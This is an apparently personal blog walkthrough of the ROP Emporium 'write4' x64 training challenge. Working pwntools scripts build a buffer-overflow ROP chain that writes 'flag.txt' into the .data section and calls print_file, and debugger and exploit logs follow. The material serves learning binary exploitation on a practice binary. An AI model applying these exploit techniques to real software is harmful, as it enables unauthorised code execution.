ROP Emporium - Write4 (x64)
Summary
write4 was a fundamental challenge from the rop emporium that required the pwner to write a string to an arbitrary memory address and pass it to a function as an argument. You can read more on the challenge here. I will be skipping some basic steps such as finding the offset at which we take control over RIP and analyzing execution flow in the ROP chain. If you wish to see how to do that, you should check out my previous blog posts on Rop Emporium ret2win and split.
Analyze the Countermeasures
Always analyze binary countermeasures because it will determine our objective for exploiting the binary and what the limitations are. For all my binary exploit development walkthroughs, I will be using pwntools which when installed comes with checksec
. This tool analyzes countermeasures in the binary when it was initially compiled:
$ checksec write4
[*] '/home/kali/ctf/rop-emporium/write4/x64/write4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
The stack is non-executable, so we won’t be able to redirect the program’s execution to memory instructions located on the stack.
It is also notable that RUNPATH
points to the current working directory. This is because this challenge also came with a libwrite4.so
shared object file that links to the executable upon runtime:
$ ldd write4
linux-vdso.so.1 (0x00007ffe615b9000)
libwrite4.so => ./libwrite4.so (0x00007f653b016000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f653ae37000)
/lib64/ld-linux-x86-64.so.2 (0x00007f653b21a000)
The Challenge Layout
This challenge came with a shared object file libwrite4.so
which is linked at runtime:
flag.txt libwrite4.so write4
Goals
- Write “flag.txt” to a memory address because the string
/bin/cat flag.txt
does not exist in the binary. - Invoke
print_file(flag_txt_memory_address)
.
Satisfying the Criteria
This challenge will only be exploitable if we can satisfy a few conditions.
First, we need a writable memory segment:
$ rabin2 -S write4
[Sections]
nth paddr size vaddr vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000000 0x0 0x00000000 0x0 ----
1 0x00000238 0x1c 0x00400238 0x1c -r-- .interp
2 0x00000254 0x20 0x00400254 0x20 -r-- .note.ABI_tag
3 0x00000274 0x24 0x00400274 0x24 -r-- .note.gnu.build_id
4 0x00000298 0x38 0x00400298 0x38 -r-- .gnu.hash
5 0x000002d0 0xf0 0x004002d0 0xf0 -r-- .dynsym
6 0x000003c0 0x7c 0x004003c0 0x7c -r-- .dynstr
7 0x0000043c 0x14 0x0040043c 0x14 -r-- .gnu.version
8 0x00000450 0x20 0x00400450 0x20 -r-- .gnu.version_r
9 0x00000470 0x30 0x00400470 0x30 -r-- .rela.dyn
10 0x000004a0 0x30 0x004004a0 0x30 -r-- .rela.plt
11 0x000004d0 0x17 0x004004d0 0x17 -r-x .init
12 0x000004f0 0x30 0x004004f0 0x30 -r-x .plt
13 0x00000520 0x182 0x00400520 0x182 -r-x .text
14 0x000006a4 0x9 0x004006a4 0x9 -r-x .fini
15 0x000006b0 0x10 0x004006b0 0x10 -r-- .rodata
16 0x000006c0 0x44 0x004006c0 0x44 -r-- .eh_frame_hdr
17 0x00000708 0x120 0x00400708 0x120 -r-- .eh_frame
18 0x00000df0 0x8 0x00600df0 0x8 -rw- .init_array
19 0x00000df8 0x8 0x00600df8 0x8 -rw- .fini_array
20 0x00000e00 0x1f0 0x00600e00 0x1f0 -rw- .dynamic
21 0x00000ff0 0x10 0x00600ff0 0x10 -rw- .got
22 0x00001000 0x28 0x00601000 0x28 -rw- .got.plt
23 0x00001028 0x10 0x00601028 0x10 -rw- .data
24 0x00001038 0x0 0x00601038 0x8 -rw- .bss
25 0x00001038 0x29 0x00000000 0x29 ---- .comment
26 0x00001068 0x618 0x00000000 0x618 ---- .symtab
27 0x00001680 0x1f6 0x00000000 0x1f6 ---- .strtab
28 0x00001876 0x103 0x00000000 0x103 ---- .shstrtab
The .data
section is normally a safe place to write to and has 0x10
bytes of space available.
On this note, we should be able to write flag.txt
to memory address 0x00601028
.
Next, we need to write arbitrary data to the .data
segment.
Let’s search for interesting symbols in write4
:
[0x00400628]> is
[Symbols]
nth paddr vaddr bind type size lib name
――――――――――――――――――――――――――――――――――――――――――――――――――――――
... CONTENT SNIPPED ...
37 0x00000628 0x00400628 LOCAL NOTYPE 0 usefulGadgets
... CONTENT SNIPPED ...
We can disassemble three instructions at usefulGadgets
:
[0x00400628]> pd 3 @0x00400628
;-- usefulGadgets:
0x00400628 4d893e mov qword [r14], r15
0x0040062b c3 ret
0x0040062c 0f1f4000 nop dword [rax]
With the mov qword [r14], r15
instruction, we can write 8 bytes at a time to the memory address in r14
.
Next, we need to search for a ROP gadget where we can assign arbitrary values to the r14
and r15
registers:
[0x00601028]> /R pop r14;
0x0040068c 415c pop r12
0x0040068e 415d pop r13
0x00400690 415e pop r14
0x00400692 415f pop r15
0x00400694 c3 ret
0x0040068d 5c pop rsp
0x0040068e 415d pop r13
0x00400690 415e pop r14
0x00400692 415f pop r15
0x00400694 c3 ret
0x0040068f 5d pop rbp
0x00400690 415e pop r14
0x00400692 415f pop r15
0x00400694 c3 ret
Looks like we have a gadget at 0x00400690
.
The last thing we need is a pop rdi; ret;
gadget so that we can set the RDI register to the memory address we wrote to:
[0x00601028]> /R pop rdi;
0x00400693 5f pop rdi
0x00400694 c3 ret
Great! We have a pop rdi; ret;
gadget at 0x00400693
.
Crafting the Exploit
At this point, we should be able to verify that we can write arbitrary values to the static address in the .data
segment!
In the code below, I set a breakpoint just before we write to the .data
segment.
from pwn import *
# Set the pwntools context
context.arch = 'amd64'
context.log_level = 'debug'
# Project constants
PROCESS = './write4'
io = process(PROCESS)
# Debugging
gdbscript = "b *0x400628"
pid = gdb.attach(io, gdbscript=gdbscript)
rop = ROP(io.elf)
writable_data_segment = p64(0x00601028)
write_memory_gadget = p64(0x00400628) # mov qword [r14], r15; ret;
pop_rdi_ret = p64(rop.search(move=0,regs=['rdi']).address)
pop_r14_pop_r15_ret = p64(rop.search(move=0,regs=['r14', 'r15']).address)
rop.raw(pop_r14_pop_r15_ret)
rop.raw(writable_data_segment)
rop.raw(p64(0xdeadbeefdeadbeef))
rop.raw(write_memory_gadget)
info(rop.dump())
offset = 40
padding = b"A" * offset
payload = b"".join([
padding,
rop.chain()
])
io.clean()
io.sendline(payload)
io.interactive()
$ python3 exploit.py
[+] Starting local process './write4' argv=[b'./write4'] : pid 7701
[DEBUG] Wrote gdb script to '/tmp/pwnycdicsv0.gdb'
b *0x400628
[*] running in new terminal: /usr/bin/gdb -q "./write4" 7701 -x /tmp/pwnycdicsv0.gdb
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/usr/bin/gdb -q "./write4" 7701 -x /tmp/pwnycdicsv0.gdb']
[+] Waiting for debugger: Done
[DEBUG] PLT 0x400500 pwnme
[DEBUG] PLT 0x400510 print_file
[*] '/home/kali/ctf/rop-emporium/write4/x64/write4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[*] Loaded 13 cached gadgets for './write4'
[*] 0x0000: b'\x90\x06@\x00\x00\x00\x00\x00' b'\x90\x06@\x00\x00\x00\x00\x00'
0x0008: b'(\x10`\x00\x00\x00\x00\x00' b'(\x10`\x00\x00\x00\x00\x00'
0x0010: b'\xef\xbe\xad\xde\xef\xbe\xad\xde' b'\xef\xbe\xad\xde\xef\xbe\xad\xde'
0x0018: b'(\x06@\x00\x00\x00\x00\x00' b'(\x06@\x00\x00\x00\x00\x00'
[DEBUG] Received 0x4a bytes:
b'write4 by ROP Emporium\n'
b'x86_64\n'
b'\n'
b'Go ahead and give me the input already!\n'
b'\n'
b'> '
[DEBUG] Sent 0x49 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 41 41 41 41 41 41 41 41 90 06 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
00000030 28 10 60 00 00 00 00 00 ef be ad de ef be ad de │(·`·│····│····│····│
00000040 28 06 40 00 00 00 00 00 0a │(·@·│····│·│
00000049
[*] Switching to interactive mode
[DEBUG] Received 0xb bytes:
b'Thank you!\n'
Thank you!
[*] Got EOF while reading in interactive
$ quit
[DEBUG] Sent 0x5 bytes:
b'quit\n'
In GDB:
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0xb
$rbx : 0x0
$rcx : 0x00007f2c89720ff3 → 0x5577fffff0003d48 ("H="?)
$rdx : 0x0
$rsp : 0x00007ffd73a02848 → 0x000000010000000a
$rbp : 0x4141414141414141 ("AAAAAAAA"?)
$rsi : 0x00007f2c897f1723 → 0x7f3670000000000a
$rdi : 0x00007f2c897f3670 → 0x0000000000000000
$rip : 0x000000000040062b → <usefulGadgets+3> ret
$r8 : 0xb
$r9 : 0x2
$r10 : 0xfffffffffffff52d
$r11 : 0x246
$r12 : 0x0000000000400520 → <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x0000000000601028 → 0xdeadbeefdeadbeef
$r15 : 0xdeadbeefdeadbeef
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffd73a02848│+0x0000: 0x000000010000000a ← $rsp
0x00007ffd73a02850│+0x0008: 0x0000000000400607 → <main+0> push rbp
0x00007ffd73a02858│+0x0010: 0x00007f2c896587d9 → <init_cacheinfo+297> mov rbp, rax
0x00007ffd73a02860│+0x0018: 0x0000000000000000
0x00007ffd73a02868│+0x0020: 0x8384135c71fb164c
0x00007ffd73a02870│+0x0028: 0x0000000000400520 → <_start+0> xor ebp, ebp
0x00007ffd73a02878│+0x0030: 0x0000000000000000
0x00007ffd73a02880│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400626 <usefulFunction+15> pop rbp
0x400627 <usefulFunction+16> ret
0x400628 <usefulGadgets+0> mov QWORD PTR [r14], r15
→ 0x40062b <usefulGadgets+3> ret
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "write4", stopped 0x40062b in usefulGadgets (), reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40062b → usefulGadgets()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/2xg $r14
0x601028: 0xdeadbeefdeadbeef 0x0000000000000000
Success! We have successfully written the dummy data 0xdeadbeefdeadbeef
to the .data
segment!
At this point, we need to write flag.txt
.
To be safe, we will write one character at a time.
from pwn import *
# Set the pwntools context
context.arch = 'amd64'
context.log_level = 'debug'
# Project constants
PROCESS = './write4'
io = process(PROCESS)
# Debugging
gdbscript = "b *0x400628"
pid = gdb.attach(io, gdbscript=gdbscript)
# Gadgets
rop = ROP(io.elf)
writable_data_segment = 0x00601028
write_memory_gadget = p64(0x00400628) # mov qword [r14], r15; ret;
pop_rdi_ret = p64(rop.search(move=0,regs=['rdi']).address)
pop_r14_pop_r15_ret = p64(rop.search(move=0,regs=['r14', 'r15']).address)
# Build the ROP chain
target = b"flag.txt"
for idx, c in enumerate(target):
write_location = p64(writable_data_segment + idx)
rop.raw(pop_r14_pop_r15_ret)
rop.raw(write_location)
rop.raw(c)
rop.raw(write_memory_gadget)
info(rop.dump())
# Build the payload
offset = 40
padding = b"A" * offset
payload = b"".join([
padding,
rop.chain()
])
# Pwn!
io.clean()
io.sendline(payload)
io.interactive()
$ python3 exploit.py
[+] Starting local process './write4' argv=[b'./write4'] : pid 7971
[DEBUG] Wrote gdb script to '/tmp/pwn4mskcyey.gdb'
b *0x400628
[*] running in new terminal: /usr/bin/gdb -q "./write4" 7971 -x /tmp/pwn4mskcyey.gdb
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/usr/bin/gdb -q "./write4" 7971 -x /tmp/pwn4mskcyey.gdb']
[+] Waiting for debugger: Done
[DEBUG] PLT 0x400500 pwnme
[DEBUG] PLT 0x400510 print_file
[*] '/home/kali/ctf/rop-emporium/write4/x64/write4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[*] Loaded 13 cached gadgets for './write4'
[*] 0x0000: b'\x90\x06@\x00\x00\x00\x00\x00' b'\x90\x06@\x00\x00\x00\x00\x00'
0x0008: b'(\x10`\x00\x00\x00\x00\x00' b'(\x10`\x00\x00\x00\x00\x00'
0x0010: 0x66
0x0018: b'(\x06@\x00\x00\x00\x00\x00' b'(\x06@\x00\x00\x00\x00\x00'
0x0020: b'\x90\x06@\x00\x00\x00\x00\x00' b'\x90\x06@\x00\x00\x00\x00\x00'
0x0028: b')\x10`\x00\x00\x00\x00\x00' b')\x10`\x00\x00\x00\x00\x00'
0x0030: 0x6c
0x0038: b'(\x06@\x00\x00\x00\x00\x00' b'(\x06@\x00\x00\x00\x00\x00'
0x0040: b'\x90\x06@\x00\x00\x00\x00\x00' b'\x90\x06@\x00\x00\x00\x00\x00'
0x0048: b'*\x10`\x00\x00\x00\x00\x00' b'*\x10`\x00\x00\x00\x00\x00'
0x0050: 0x61
0x0058: b'(\x06@\x00\x00\x00\x00\x00' b'(\x06@\x00\x00\x00\x00\x00'
0x0060: b'\x90\x06@\x00\x00\x00\x00\x00' b'\x90\x06@\x00\x00\x00\x00\x00'
0x0068: b'+\x10`\x00\x00\x00\x00\x00' b'+\x10`\x00\x00\x00\x00\x00'
0x0070: 0x67
0x0078: b'(\x06@\x00\x00\x00\x00\x00' b'(\x06@\x00\x00\x00\x00\x00'
0x0080: b'\x90\x06@\x00\x00\x00\x00\x00' b'\x90\x06@\x00\x00\x00\x00\x00'
0x0088: b',\x10`\x00\x00\x00\x00\x00' b',\x10`\x00\x00\x00\x00\x00'
0x0090: 0x2e
0x0098: b'(\x06@\x00\x00\x00\x00\x00' b'(\x06@\x00\x00\x00\x00\x00'
0x00a0: b'\x90\x06@\x00\x00\x00\x00\x00' b'\x90\x06@\x00\x00\x00\x00\x00'
0x00a8: b'-\x10`\x00\x00\x00\x00\x00' b'-\x10`\x00\x00\x00\x00\x00'
0x00b0: 0x74
0x00b8: b'(\x06@\x00\x00\x00\x00\x00' b'(\x06@\x00\x00\x00\x00\x00'
0x00c0: b'\x90\x06@\x00\x00\x00\x00\x00' b'\x90\x06@\x00\x00\x00\x00\x00'
0x00c8: b'.\x10`\x00\x00\x00\x00\x00' b'.\x10`\x00\x00\x00\x00\x00'
0x00d0: 0x78
0x00d8: b'(\x06@\x00\x00\x00\x00\x00' b'(\x06@\x00\x00\x00\x00\x00'
0x00e0: b'\x90\x06@\x00\x00\x00\x00\x00' b'\x90\x06@\x00\x00\x00\x00\x00'
0x00e8: b'/\x10`\x00\x00\x00\x00\x00' b'/\x10`\x00\x00\x00\x00\x00'
0x00f0: 0x74
0x00f8: b'(\x06@\x00\x00\x00\x00\x00' b'(\x06@\x00\x00\x00\x00\x00'
[DEBUG] Received 0x4a bytes:
b'write4 by ROP Emporium\n'
b'x86_64\n'
b'\n'
b'Go ahead and give me the input already!\n'
b'\n'
b'> '
[DEBUG] Sent 0x129 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 41 41 41 41 41 41 41 41 90 06 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
00000030 28 10 60 00 00 00 00 00 66 00 00 00 00 00 00 00 │(·`·│····│f···│····│
00000040 28 06 40 00 00 00 00 00 90 06 40 00 00 00 00 00 │(·@·│····│··@·│····│
00000050 29 10 60 00 00 00 00 00 6c 00 00 00 00 00 00 00 │)·`·│····│l···│····│
00000060 28 06 40 00 00 00 00 00 90 06 40 00 00 00 00 00 │(·@·│····│··@·│····│
00000070 2a 10 60 00 00 00 00 00 61 00 00 00 00 00 00 00 │*·`·│····│a···│····│
00000080 28 06 40 00 00 00 00 00 90 06 40 00 00 00 00 00 │(·@·│····│··@·│····│
00000090 2b 10 60 00 00 00 00 00 67 00 00 00 00 00 00 00 │+·`·│····│g···│····│
000000a0 28 06 40 00 00 00 00 00 90 06 40 00 00 00 00 00 │(·@·│····│··@·│····│
000000b0 2c 10 60 00 00 00 00 00 2e 00 00 00 00 00 00 00 │,·`·│····│.···│····│
000000c0 28 06 40 00 00 00 00 00 90 06 40 00 00 00 00 00 │(·@·│····│··@·│····│
000000d0 2d 10 60 00 00 00 00 00 74 00 00 00 00 00 00 00 │-·`·│····│t···│····│
000000e0 28 06 40 00 00 00 00 00 90 06 40 00 00 00 00 00 │(·@·│····│··@·│····│
000000f0 2e 10 60 00 00 00 00 00 78 00 00 00 00 00 00 00 │.·`·│····│x···│····│
00000100 28 06 40 00 00 00 00 00 90 06 40 00 00 00 00 00 │(·@·│····│··@·│····│
00000110 2f 10 60 00 00 00 00 00 74 00 00 00 00 00 00 00 │/·`·│····│t···│····│
00000120 28 06 40 00 00 00 00 00 0a │(·@·│····│·│
00000129
[*] Switching to interactive mode
[DEBUG] Received 0xb bytes:
b'Thank you!\n'
Thank you!
After enough iterations, we successfully set the .data
segment to flag.txt
:
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0xb
$rbx : 0x0
$rcx : 0x00007f4ead555ff3 → 0x5577fffff0003d48 ("H="?)
$rdx : 0x0
$rsp : 0x00007ffe9cb00330 → 0x0000000000000000
$rbp : 0x4141414141414141 ("AAAAAAAA"?)
$rsi : 0x00007f4ead626723 → 0x628670000000000a
$rdi : 0x00007f4ead628670 → 0x0000000000000000
$rip : 0x00007ffe9cb0240a → 0x4853003465746972 ("rite4"?)
$r8 : 0xb
$r9 : 0x2
$r10 : 0xfffffffffffff52d
$r11 : 0x246
$r12 : 0x0000000000400520 → <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x000000000060102f → 0x0000000000000074 ("t"?)
$r15 : 0x74
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffe9cb00330│+0x0000: 0x0000000000000000 ← $rsp
0x00007ffe9cb00338│+0x0008: 0x00007ffe9cb02410 → "SHELL=/bin/bash"
0x00007ffe9cb00340│+0x0010: 0x00007ffe9cb02420 → "SESSION_MANAGER=local/kali:@/tmp/.ICE-unix/1053,un[...]"
0x00007ffe9cb00348│+0x0018: 0x00007ffe9cb0246e → "WINDOWID=0"
0x00007ffe9cb00350│+0x0020: 0x00007ffe9cb02479 → "QT_ACCESSIBILITY=1"
0x00007ffe9cb00358│+0x0028: 0x00007ffe9cb0248c → "XDG_CONFIG_DIRS=/etc/xdg"
0x00007ffe9cb00360│+0x0030: 0x00007ffe9cb024a5 → "XDG_SESSION_PATH=/org/freedesktop/DisplayManager/S[...]"
0x00007ffe9cb00368│+0x0038: 0x00007ffe9cb024df → "XDG_MENU_PREFIX=xfce-"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
→ 0x7ffe9cb0240a jb 0x7ffe9cb02475 NOT taken [Reason: !(C)]
0x7ffe9cb0240c je 0x7ffe9cb02473
0x7ffe9cb0240e xor al, 0x0
0x7ffe9cb02410 push rbx
0x7ffe9cb02411 rex.W
0x7ffe9cb02412 rex.RB
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "write4", stopped 0x7ffe9cb0240a in ?? (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffe9cb0240a → jb 0x7ffe9cb02475
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/s 0x601028
0x601028: "flag.txt"
Now, there is one last step: we need to point RDI to flag.txt
and invoke the print_file
function.
The updated code looks like the following:
from pwn import *
# Set the pwntools context
context.arch = 'amd64'
context.log_level = 'debug'
# Project constants
PROCESS = './write4'
io = process(PROCESS)
# Gadgets
rop = ROP(io.elf)
writable_data_segment = 0x00601028
write_memory_gadget = p64(0x00400628) # mov qword [r14], r15; ret;
pop_rdi_ret = p64(rop.search(move=0,regs=['rdi']).address)
pop_r14_pop_r15_ret = p64(rop.search(move=0,regs=['r14', 'r15']).address)
# Existing functions
print_file = p64(io.elf.plt['print_file'])
# Build the ROP chain - Write to the .data section
target = b"flag.txt"
for idx, c in enumerate(target):
write_location = p64(writable_data_segment + idx)
rop.raw(pop_r14_pop_r15_ret)
rop.raw(write_location)
rop.raw(c)
rop.raw(write_memory_gadget)
# Build the ROP chain - Call print_file(writable_data_segment)
rop.raw(pop_rdi_ret)
rop.raw(p64(writable_data_segment))
rop.raw(print_file)
# Build the payload
offset = 40
padding = b"A" * offset
payload = b"".join([
padding,
rop.chain()
])
# Pwn!
io.clean()
io.sendline(payload)
io.interactive()
$ python3 exploit.py
[+] Starting local process './write4' argv=[b'./write4'] : pid 8017
[DEBUG] PLT 0x400500 pwnme
[DEBUG] PLT 0x400510 print_file
[*] '/home/kali/ctf/rop-emporium/write4/x64/write4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[*] Loaded 13 cached gadgets for './write4'
[DEBUG] PLT 0x400500 pwnme
[DEBUG] PLT 0x400510 print_file
[DEBUG] Received 0x4a bytes:
b'write4 by ROP Emporium\n'
b'x86_64\n'
b'\n'
b'Go ahead and give me the input already!\n'
b'\n'
b'> '
[DEBUG] Sent 0x141 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 41 41 41 41 41 41 41 41 90 06 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
00000030 28 10 60 00 00 00 00 00 66 00 00 00 00 00 00 00 │(·`·│····│f···│····│
00000040 28 06 40 00 00 00 00 00 90 06 40 00 00 00 00 00 │(·@·│····│··@·│····│
00000050 29 10 60 00 00 00 00 00 6c 00 00 00 00 00 00 00 │)·`·│····│l···│····│
00000060 28 06 40 00 00 00 00 00 90 06 40 00 00 00 00 00 │(·@·│····│··@·│····│
00000070 2a 10 60 00 00 00 00 00 61 00 00 00 00 00 00 00 │*·`·│····│a···│····│
00000080 28 06 40 00 00 00 00 00 90 06 40 00 00 00 00 00 │(·@·│····│··@·│····│
00000090 2b 10 60 00 00 00 00 00 67 00 00 00 00 00 00 00 │+·`·│····│g···│····│
000000a0 28 06 40 00 00 00 00 00 90 06 40 00 00 00 00 00 │(·@·│····│··@·│····│
000000b0 2c 10 60 00 00 00 00 00 2e 00 00 00 00 00 00 00 │,·`·│····│.···│····│
000000c0 28 06 40 00 00 00 00 00 90 06 40 00 00 00 00 00 │(·@·│····│··@·│····│
000000d0 2d 10 60 00 00 00 00 00 74 00 00 00 00 00 00 00 │-·`·│····│t···│····│
000000e0 28 06 40 00 00 00 00 00 90 06 40 00 00 00 00 00 │(·@·│····│··@·│····│
000000f0 2e 10 60 00 00 00 00 00 78 00 00 00 00 00 00 00 │.·`·│····│x···│····│
00000100 28 06 40 00 00 00 00 00 90 06 40 00 00 00 00 00 │(·@·│····│··@·│····│
00000110 2f 10 60 00 00 00 00 00 74 00 00 00 00 00 00 00 │/·`·│····│t···│····│
00000120 28 06 40 00 00 00 00 00 93 06 40 00 00 00 00 00 │(·@·│····│··@·│····│
00000130 28 10 60 00 00 00 00 00 10 05 40 00 00 00 00 00 │(·`·│····│··@·│····│
00000140 0a │·│
00000141
[*] Switching to interactive mode
[DEBUG] Received 0x2c bytes:
b'Thank you!\n'
b'ROPE{a_placeholder_32byte_flag!}\n'
Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
And it looks like we got the flag: ROPE{a_placeholder_32byte_flag!}
!
Notice that this required many ROP chain iterations to work, bloating our payload to 0x141
bytes!
Since on x64 CPU archictures, memory registers can hold up to 8 bytes at a time, that means we can make our ROP chain 8 times smaller with the following code:
from pwn import *
# Set the pwntools context
context.arch = 'amd64'
context.log_level = 'debug'
# Project constants
PROCESS = './write4'
io = process(PROCESS)
# Gadgets
rop = ROP(io.elf)
writable_data_segment = 0x00601028
write_memory_gadget = p64(0x00400628) # mov qword [r14], r15; ret;
pop_rdi_ret = p64(rop.search(move=0,regs=['rdi']).address)
pop_r14_pop_r15_ret = p64(rop.search(move=0,regs=['r14', 'r15']).address)
# Existing functions
print_file = p64(io.elf.plt['print_file'])
# Build the ROP chain - Write to the .data section
target = b"flag.txt"
idx = 0
addr_size = 8
while idx < len(target):
data = target[idx:idx+addr_size]
write_location = p64(writable_data_segment + idx)
rop.raw(pop_r14_pop_r15_ret)
rop.raw(write_location)
rop.raw(data)
rop.raw(write_memory_gadget)
idx += addr_size
# Build the ROP chain - Call print_file(writable_data_segment)
rop.raw(pop_rdi_ret)
rop.raw(p64(writable_data_segment))
rop.raw(print_file)
# Build the payload
offset = 40
padding = b"A" * offset
payload = b"".join([
padding,
rop.chain()
])
# Pwn!
io.clean()
io.sendline(payload)
io.interactive()
$ python3 exploit.py
[+] Starting local process './write4' argv=[b'./write4'] : pid 8157
[DEBUG] PLT 0x400500 pwnme
[DEBUG] PLT 0x400510 print_file
[*] '/home/kali/ctf/rop-emporium/write4/x64/write4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[*] Loaded 13 cached gadgets for './write4'
[DEBUG] PLT 0x400500 pwnme
[DEBUG] PLT 0x400510 print_file
[DEBUG] Received 0x4a bytes:
b'write4 by ROP Emporium\n'
b'x86_64\n'
b'\n'
b'Go ahead and give me the input already!\n'
b'\n'
b'> '
[DEBUG] Sent 0x61 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 41 41 41 41 41 41 41 41 90 06 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
00000030 28 10 60 00 00 00 00 00 66 6c 61 67 2e 74 78 74 │(·`·│····│flag│.txt│
00000040 28 06 40 00 00 00 00 00 93 06 40 00 00 00 00 00 │(·@·│····│··@·│····│
00000050 28 10 60 00 00 00 00 00 10 05 40 00 00 00 00 00 │(·`·│····│··@·│····│
00000060 0a │·│
00000061
[*] Switching to interactive mode
[*] Process './write4' stopped with exit code -11 (SIGSEGV) (pid 8157)
[DEBUG] Received 0x2c bytes:
b'Thank you!\n'
b'ROPE{a_placeholder_32byte_flag!}\n'
Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$ quit
[DEBUG] Sent 0x5 bytes:
b'quit\n'
[*] Got EOF while sending in interactive
Notice how the final payload above was only 0x61
bytes and still granted us the flag!